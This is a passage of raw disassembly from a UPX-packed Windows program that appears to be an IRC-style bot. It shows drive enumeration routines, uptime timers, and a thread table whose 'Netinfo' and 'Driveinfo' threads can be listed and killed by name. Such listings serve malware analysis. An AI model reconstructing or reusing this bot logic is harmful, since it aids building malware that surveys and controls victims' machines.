locret_408E8C ; --------------------------------------------------------------------------- loc_408E64: ; CODE XREF: sub_408E4A+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aNetinfoThread ; "Netinfo thread" push 0 push [ebp+var_4] push offset sub_408B30 call sub_4095A4 add esp, 10h locret_408E8C: ; CODE XREF: sub_408E4A+18j leave retn sub_408E4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E8E proc near ; CODE XREF: sub_40CA29+1C5p ; sub_40CA29+2DAp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 24h mov eax, ds:dword_419398 mov [ebp+var_1C], eax and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408EA4: ; CODE XREF: sub_408E8E+95j lea eax, [ebp+var_1C] push eax call ds:dword_4170CC ; GetDriveTypeA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_408F14 cmp [ebp+var_10], 1 jz short loc_408F14 cmp [ebp+var_10], 5 jz short loc_408EE1 cmp [ebp+var_10], 2 jz short loc_408EE1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1C] push eax call ds:dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_408EF1 ; --------------------------------------------------------------------------- loc_408EE1: ; CODE XREF: sub_408E8E+33j ; sub_408E8E+39j push 8 push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch loc_408EF1: ; CODE XREF: sub_408E8E+51j push 0 push 100000h push [ebp+var_20] push [ebp+var_24] call sub_416C90 mov [ebp+var_24], eax mov [ebp+var_20], edx mov eax, [ebp+var_24] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx loc_408F14: ; CODE XREF: sub_408E8E+27j ; sub_408E8E+2Dj mov al, byte ptr [ebp+var_1C] add al, 1 mov byte ptr [ebp+var_1C], al movsx eax, byte ptr [ebp+var_1C] cmp eax, 5Ah jnz loc_408EA4 mov eax, [ebp+var_C] leave retn sub_408E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F2E proc near ; DATA XREF: sub_4091E2+35o var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = byte ptr -420h var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_404 = byte ptr -404h var_3EF = byte ptr -3EFh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5DCh push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5D4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 5 pop ecx mov esi, offset aDriveInformati ; "Drive information - " lea edi, [ebp+var_404] rep movsd movsb mov ecx, 0FAh xor eax, eax lea edi, [ebp+var_3EF] rep stosd stosw stosb mov eax, ds:dword_419398 mov [ebp+var_424], eax and [ebp+var_418], 0 and [ebp+var_5D8], 0 and [ebp+var_414], 0 mov [ebp+var_410], 1 loc_408FA6: ; CODE XREF: sub_408F2E+23Bj lea eax, [ebp+var_424] push eax call ds:dword_4170CC ; GetDriveTypeA mov [ebp+var_5DC], eax cmp [ebp+var_5DC], 0 jz loc_409151 cmp [ebp+var_5DC], 1 jz loc_409151 cmp [ebp+var_5DC], 2 jnz short loc_408FE5 mov [ebp+var_4], offset aRemovable ; "removable" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FE5: ; CODE XREF: sub_408F2E+ACj cmp [ebp+var_5DC], 3 jnz short loc_408FF7 mov [ebp+var_4], offset aFixed ; "fixed" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FF7: ; CODE XREF: sub_408F2E+BEj cmp [ebp+var_5DC], 4 jnz short loc_409009 mov [ebp+var_4], offset aRemote ; "remote" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_409009: ; CODE XREF: sub_408F2E+D0j cmp [ebp+var_5DC], 5 jnz short loc_40901B mov [ebp+var_4], offset aCdRom ; "cd-rom" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40901B: ; CODE XREF: sub_408F2E+E2j cmp [ebp+var_5DC], 6 jnz short loc_40902D mov [ebp+var_4], offset aRamdisk ; "ramdisk" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40902D: ; CODE XREF: sub_408F2E+F4j mov [ebp+var_4], offset aUnknown ; "unknown" loc_409034: ; CODE XREF: sub_408F2E+B5j ; sub_408F2E+C7j ... cmp [ebp+var_5DC], 5 jz short loc_40906A cmp [ebp+var_5DC], 2 jz short loc_40906A lea eax, [ebp+var_42C] push eax lea eax, [ebp+var_420] push eax lea eax, [ebp+var_40C] push eax lea eax, [ebp+var_424] push eax call ds:dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_40907D ; --------------------------------------------------------------------------- loc_40906A: ; CODE XREF: sub_408F2E+10Dj ; sub_408F2E+116j push 8 push 0 lea eax, [ebp+var_42C] push eax call sub_416B6A ; memset add esp, 0Ch loc_40907D: ; CODE XREF: sub_408F2E+13Aj push 0 push 100000h push [ebp+var_428] push [ebp+var_42C] call sub_416C90 mov [ebp+var_42C], eax mov [ebp+var_428], edx cmp [ebp+var_410], 0 jnz short loc_4090BF push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; _mbscat pop ecx pop ecx jmp short loc_4090C6 ; --------------------------------------------------------------------------- loc_4090BF: ; CODE XREF: sub_408F2E+17Aj and [ebp+var_410], 0 loc_4090C6: ; CODE XREF: sub_408F2E+18Fj mov eax, [ebp+var_42C] or eax, [ebp+var_428] test eax, eax jz short loc_40910A push [ebp+var_428] push [ebp+var_42C] push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193E4 lea eax, [ebp+var_404] push eax call ds:dword_4171E0 ; wsprintfA add esp, 1Ch jmp short loc_409130 ; --------------------------------------------------------------------------- loc_40910A: ; CODE XREF: sub_408F2E+1A6j push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193D4 lea eax, [ebp+var_404] push eax call ds:dword_4171E0 ; wsprintfA add esp, 14h loc_409130: ; CODE XREF: sub_408F2E+1DAj mov eax, [ebp+var_42C] mov ecx, [ebp+var_414] add ecx, eax mov [ebp+var_414], ecx mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_409151: ; CODE XREF: sub_408F2E+92j ; sub_408F2E+9Fj mov al, byte ptr [ebp+var_424] add al, 1 mov byte ptr [ebp+var_424], al movsx eax, byte ptr [ebp+var_424] cmp eax, 5Ah jnz loc_408FA6 cmp [ebp+var_5D8], 0 jz short loc_40918B push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40918B: ; CODE XREF: sub_408F2E+248j push [ebp+var_414] push [ebp+var_5D8] lea eax, [ebp+var_404] push eax push offset dword_41939C lea eax, [ebp+var_404] push eax call ds:dword_4171E0 ; wsprintfA add esp, 14h lea eax, [ebp+var_404] push eax push offset dword_418B64 lea eax, [ebp+var_5D0] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5D4] call sub_409763 pop ecx xor eax, eax pop edi pop esi leave retn 4 sub_408F2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091E2 proc near ; CODE XREF: sub_40A9CF+1C61p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4091FC jmp short locret_409224 ; --------------------------------------------------------------------------- loc_4091FC: ; CODE XREF: sub_4091E2+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aDriveinfoThrea ; "Driveinfo thread" push 0 push [ebp+var_4] push offset sub_408F2E call sub_4095A4 add esp, 10h locret_409224: ; CODE XREF: sub_4091E2+18j leave retn sub_4091E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409226 proc near ; CODE XREF: UPX0:00416A06p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call ds:dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call ds:dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_40928E jg short loc_40924E cmp [ebp+var_8], 0 jbe short loc_40928E loc_40924E: ; CODE XREF: sub_409226+20j cmp [ebp+var_C], 0 jl short loc_40928E jg short loc_40925C cmp [ebp+var_10], 0 jbe short loc_40928E loc_40925C: ; CODE XREF: sub_409226+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol mov ds:dword_41E3A0, eax jmp short locret_4092A2 ; --------------------------------------------------------------------------- loc_40928E: ; CODE XREF: sub_409226+1Ej ; sub_409226+26j ... call ds:dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ds:dword_41E3A0, eax locret_4092A2: ; CODE XREF: sub_409226+66j leave retn sub_409226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4092A4 proc near ; CODE XREF: sub_4083AD+61p ; sub_40A9CF+1CCAp ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call ds:dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call ds:dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409307 jg short loc_4092CC cmp [ebp+var_8], 0 jbe short loc_409307 loc_4092CC: ; CODE XREF: sub_4092A4+20j cmp [ebp+var_C], 0 jl short loc_409307 jg short loc_4092DA cmp [ebp+var_10], 0 jbe short loc_409307 loc_4092DA: ; CODE XREF: sub_4092A4+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol jmp short locret_409316 ; --------------------------------------------------------------------------- loc_409307: ; CODE XREF: sub_4092A4+1Ej ; sub_4092A4+26j ... call ds:dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx locret_409316: ; CODE XREF: sub_4092A4+61j leave retn sub_4092A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409318 proc near ; CODE XREF: sub_408B30:loc_408BBCp ; sub_40A9CF:loc_40C715p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call ds:dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call ds:dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409381 jg short loc_409340 cmp [ebp+var_8], 0 jbe short loc_409381 loc_409340: ; CODE XREF: sub_409318+20j cmp [ebp+var_C], 0 jl short loc_409381 jg short loc_40934E cmp [ebp+var_10], 0 jbe short loc_409381 loc_40934E: ; CODE XREF: sub_409318+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol sub eax, ds:dword_41E3A0 jmp short locret_40938D ; --------------------------------------------------------------------------- loc_409381: ; CODE XREF: sub_409318+1Ej ; sub_409318+26j ... call ds:dword_4170D0 ; GetTickCount sub eax, ds:dword_41E3A0 locret_40938D: ; CODE XREF: sub_409318+67j leave retn sub_409318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40938F proc near ; CODE XREF: UPX0:004168C6p push ebp mov ebp, esp and ds:dword_41E3C0, 0 push 1980h call sub_416B46 ; malloc pop ecx mov ds:dword_41E3C8, eax push offset dword_41E3A8 call sub_409C36 pop ecx pop ebp retn sub_40938F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4093B6 proc near ; DATA XREF: sub_409479+35o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417278 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_20], 0 and [ebp+var_1C], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_20], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_1C], eax push [ebp+arg_0] call sub_416B4C ; free pop ecx push [ebp+var_20] call ds:dword_4170DC ; IsBadCodePtr test eax, eax jz short loc_409431 cmp ds:dword_41DF08, 0 jz short loc_40942F push [ebp+var_20] push offset dword_419474 push offset dword_41DB88 call sub_40D4AB add esp, 0Ch loc_40942F: ; CODE XREF: sub_4093B6+62j jmp short loc_409443 ; --------------------------------------------------------------------------- loc_409431: ; CODE XREF: sub_4093B6+59j push [ebp+var_1C] call [ebp+var_20] mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_24] jmp short loc_409468 ; --------------------------------------------------------------------------- loc_409443: ; CODE XREF: sub_4093B6:loc_40942Fj or [ebp+var_4], 0FFFFFFFFh jmp short loc_409466 ; --------------------------------------------------------------------------- push offset aBtg ; "btg" push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_409466: ; CODE XREF: sub_4093B6+91j xor eax, eax loc_409468: ; CODE XREF: sub_4093B6+8Bj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4093B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409479 proc near ; CODE XREF: sub_40764D+14Ap ; sub_409BF1+2Fp ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 8 call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_409494 xor eax, eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_409494: ; CODE XREF: sub_409479+15j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [eax+4], ecx lea eax, [ebp+var_8] push eax push 0 push [ebp+var_C] push offset sub_4093B6 push 20000h push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4094D9 push [ebp+var_4] call ds:dword_4170A4 ; CloseHandle push 1 pop eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_4094D9: ; CODE XREF: sub_409479+50j push [ebp+var_C] call sub_416B4C ; free pop ecx xor eax, eax locret_4094E4: ; CODE XREF: sub_409479+19j ; sub_409479+5Ej leave retn sub_409479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4094E6 proc near ; DATA XREF: sub_4095A4+159o var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417288 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18Ch push ebx push esi push edi mov [ebp+var_18], esp mov al, ds:byte_41DF00 mov [ebp+var_19C], al push 60h pop ecx xor eax, eax lea edi, [ebp+var_19B] rep stosd stosw stosb and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+10h] mov [ebp+var_1A0], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, 14h push eax lea eax, [ebp+var_19C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_0] mov eax, [ebp+arg_0] mov eax, [eax] call dword ptr [eax+10h] mov [ebp+var_1A4], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_1A4] jmp short loc_409593 ; --------------------------------------------------------------------------- lea eax, [ebp+var_19C] push eax push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh xor eax, eax loc_409593: ; CODE XREF: sub_4094E6+8Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4094E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095A4 proc near ; CODE XREF: sub_4017AA+A2p ; sub_401D6E+8Dp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 14h push offset dword_41E3A8 call sub_409C6C pop ecx cmp ds:dword_41E3C0, 10h jnz short loc_4095D9 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E3A8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_4095D9: ; CODE XREF: sub_4095A4+18j cmp [ebp+arg_8], 0 jz short loc_409627 and [ebp+var_10], 0 jmp short loc_4095EC ; --------------------------------------------------------------------------- loc_4095E5: ; CODE XREF: sub_4095A4:loc_409625j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4095EC: ; CODE XREF: sub_4095A4+3Fj cmp [ebp+var_10], 10h jge short loc_409627 mov eax, [ebp+var_10] imul eax, 198h mov ecx, ds:dword_41E3C8 mov eax, [ecx+eax+10h] cmp eax, [ebp+arg_0] jnz short loc_409625 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E3A8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409625: ; CODE XREF: sub_4095A4+64j jmp short loc_4095E5 ; --------------------------------------------------------------------------- loc_409627: ; CODE XREF: sub_4095A4+39j ; sub_4095A4+4Cj and [ebp+var_C], 0 and [ebp+var_8], 0 jmp short loc_409638 ; --------------------------------------------------------------------------- loc_409631: ; CODE XREF: sub_4095A4:loc_409672j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_409638: ; CODE XREF: sub_4095A4+8Bj cmp [ebp+var_8], 10h jge short loc_409674 mov eax, [ebp+var_8] imul eax, 198h mov ecx, ds:dword_41E3C8 cmp dword ptr [ecx+eax+8], 0 jnz short loc_409672 mov eax, [ebp+var_8] imul eax, 198h mov ecx, ds:dword_41E3C8 add ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_409674 ; --------------------------------------------------------------------------- loc_409672: ; CODE XREF: sub_4095A4+AEj jmp short loc_409631 ; --------------------------------------------------------------------------- loc_409674: ; CODE XREF: sub_4095A4+98j ; sub_4095A4+CCj cmp [ebp+var_C], 0 jnz short loc_409695 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E3A8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409695: ; CODE XREF: sub_4095A4+D4j cmp [ebp+arg_4], 0 jz short loc_4096A3 mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx loc_4096A3: ; CODE XREF: sub_4095A4+F5j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax+10h], ecx lea eax, [ebp+arg_10] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_C] mov eax, [ebp+var_C] add eax, 14h push eax call sub_416DC6 ; vsprintf add esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+var_C] and dword ptr [eax+4], 0 mov eax, ds:dword_41E3C0 inc eax mov ds:dword_41E3C0, eax cmp [ebp+arg_4], 0 jz short loc_4096EB mov eax, [ebp+arg_4] mov [ebp+var_14], eax jmp short loc_4096F1 ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_4095A4+13Dj mov eax, [ebp+var_C] mov [ebp+var_14], eax loc_4096F1: ; CODE XREF: sub_4095A4+145j mov eax, [ebp+var_C] add eax, 0Ch push eax push 0 push [ebp+var_14] push offset sub_4094E6 push 0 push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov ecx, [ebp+var_C] mov [ecx+8], eax mov eax, [ebp+var_C] cmp dword ptr [eax+8], 0 jnz short loc_409753 push [ebp+arg_4] call sub_416B4C ; free pop ecx mov eax, ds:dword_41E3C0 dec eax mov ds:dword_41E3C0, eax push 198h push 0 lea eax, [ebp+var_C] push eax call sub_416B6A ; memset add esp, 0Ch push offset dword_41E3A8 call sub_409C7A pop ecx xor eax, eax jmp short locret_409761 ; --------------------------------------------------------------------------- loc_409753: ; CODE XREF: sub_4095A4+177j push offset dword_41E3A8 call sub_409C7A pop ecx push 1 pop eax locret_409761: ; CODE XREF: sub_4095A4+30j ; sub_4095A4+7Cj ... leave retn sub_4095A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409763 proc near ; CODE XREF: sub_401244+73p ; sub_401244+547p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push offset dword_41E3A8 call sub_409C6C pop ecx mov eax, ds:dword_41E3C0 dec eax mov ds:dword_41E3C0, eax mov eax, [ebp+arg_0] push dword ptr [eax+8] call ds:dword_4170A4 ; CloseHandle push 198h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch push offset dword_41E3A8 call sub_409C7A pop ecx pop ebp retn sub_409763 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097A7 proc near ; CODE XREF: sub_40A9CF+EBFp var_194 = dword ptr -194h var_190 = byte ptr -190h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h cmp [ebp+arg_0], 0 jnz short loc_4097BB jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_4097BB: ; CODE XREF: sub_4097A7+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_409825 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E3A8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, ds:dword_41E3C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, ds:dword_41E3C8 mov dword ptr [ecx+eax+4], 1 loc_409815: ; CODE XREF: sub_4097A7+3Fj ; sub_4097A7+55j push offset dword_41E3A8 call sub_409C7A pop ecx jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_409825: ; CODE XREF: sub_4097A7+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_190] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E3A8 call sub_409C6C pop ecx mov eax, ds:dword_41E3C0 mov [ebp+var_8], eax and [ebp+var_194], 0 jmp short loc_40986A ; --------------------------------------------------------------------------- loc_40985D: ; CODE XREF: sub_4097A7:loc_4098E1j mov eax, [ebp+var_194] inc eax mov [ebp+var_194], eax loc_40986A: ; CODE XREF: sub_4097A7+B4j cmp [ebp+var_194], 10h jnb short loc_4098E6 mov eax, [ebp+var_194] imul eax, 198h mov ecx, ds:dword_41E3C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4098E1 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax lea eax, [ebp+var_190] push eax mov eax, [ebp+var_194] imul eax, 198h mov ecx, ds:dword_41E3C8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_4098D9 mov eax, [ebp+var_194] imul eax, 198h mov ecx, ds:dword_41E3C8 mov dword ptr [ecx+eax+4], 1 loc_4098D9: ; CODE XREF: sub_4097A7+116j cmp [ebp+var_8], 0 jnz short loc_4098E1 jmp short loc_4098E6 ; --------------------------------------------------------------------------- loc_4098E1: ; CODE XREF: sub_4097A7+E3j ; sub_4097A7+136j jmp loc_40985D ; --------------------------------------------------------------------------- loc_4098E6: ; CODE XREF: sub_4097A7+CAj ; sub_4097A7+138j push offset dword_41E3A8 call sub_409C7A pop ecx locret_4098F1: ; CODE XREF: sub_4097A7+Fj ; sub_4097A7+79j leave retn sub_4097A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098F3 proc near ; CODE XREF: sub_40A9CF+F13p var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = byte ptr -194h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 19Ch cmp [ebp+arg_0], 0 jnz short loc_409907 jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_409907: ; CODE XREF: sub_4098F3+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz loc_4099B4 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E3A8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_4099A4 mov eax, [ebp+var_4] imul eax, 198h mov ecx, ds:dword_41E3C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4099A4 mov eax, ds:dword_41E3C0 dec eax mov ds:dword_41E3C0, eax mov eax, [ebp+var_4] imul eax, 198h mov ecx, ds:dword_41E3C8 mov eax, [ecx+eax+8] mov [ebp+var_8], eax push 198h push 0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, ds:dword_41E3C8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_8] call ds:dword_4170E0 ; TerminateThread push [ebp+var_8] call ds:dword_4170A4 ; CloseHandle loc_4099A4: ; CODE XREF: sub_4098F3+43j ; sub_4098F3+59j push offset dword_41E3A8 call sub_409C7A pop ecx jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_4099B4: ; CODE XREF: sub_4098F3+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_194] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E3A8 call sub_409C6C pop ecx mov eax, ds:dword_41E3C0 mov [ebp+var_C], eax and [ebp+var_198], 0 jmp short loc_4099F9 ; --------------------------------------------------------------------------- loc_4099EC: ; CODE XREF: sub_4098F3:loc_409AC3j mov eax, [ebp+var_198] inc eax mov [ebp+var_198], eax loc_4099F9: ; CODE XREF: sub_4098F3+F7j cmp [ebp+var_198], 10h jnb loc_409AC8 mov eax, [ebp+var_198] imul eax, 198h mov ecx, ds:dword_41E3C8 cmp dword ptr [ecx+eax+8], 0 jz loc_409AC3 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax lea eax, [ebp+var_194] push eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, ds:dword_41E3C8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_409ABB mov eax, ds:dword_41E3C0 dec eax mov ds:dword_41E3C0, eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, ds:dword_41E3C8 mov eax, [ecx+eax+8] mov [ebp+var_19C], eax push 198h push 0 mov eax, [ebp+var_198] imul eax, 198h mov ecx, ds:dword_41E3C8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_19C] call ds:dword_4170E0 ; TerminateThread push [ebp+var_19C] call ds:dword_4170A4 ; CloseHandle loc_409ABB: ; CODE XREF: sub_4098F3+161j cmp [ebp+var_C], 0 jnz short loc_409AC3 jmp short loc_409AC8 ; --------------------------------------------------------------------------- loc_409AC3: ; CODE XREF: sub_4098F3+12Aj ; sub_4098F3+1CCj jmp loc_4099EC ; --------------------------------------------------------------------------- loc_409AC8: ; CODE XREF: sub_4098F3+10Dj ; sub_4098F3+1CEj push offset 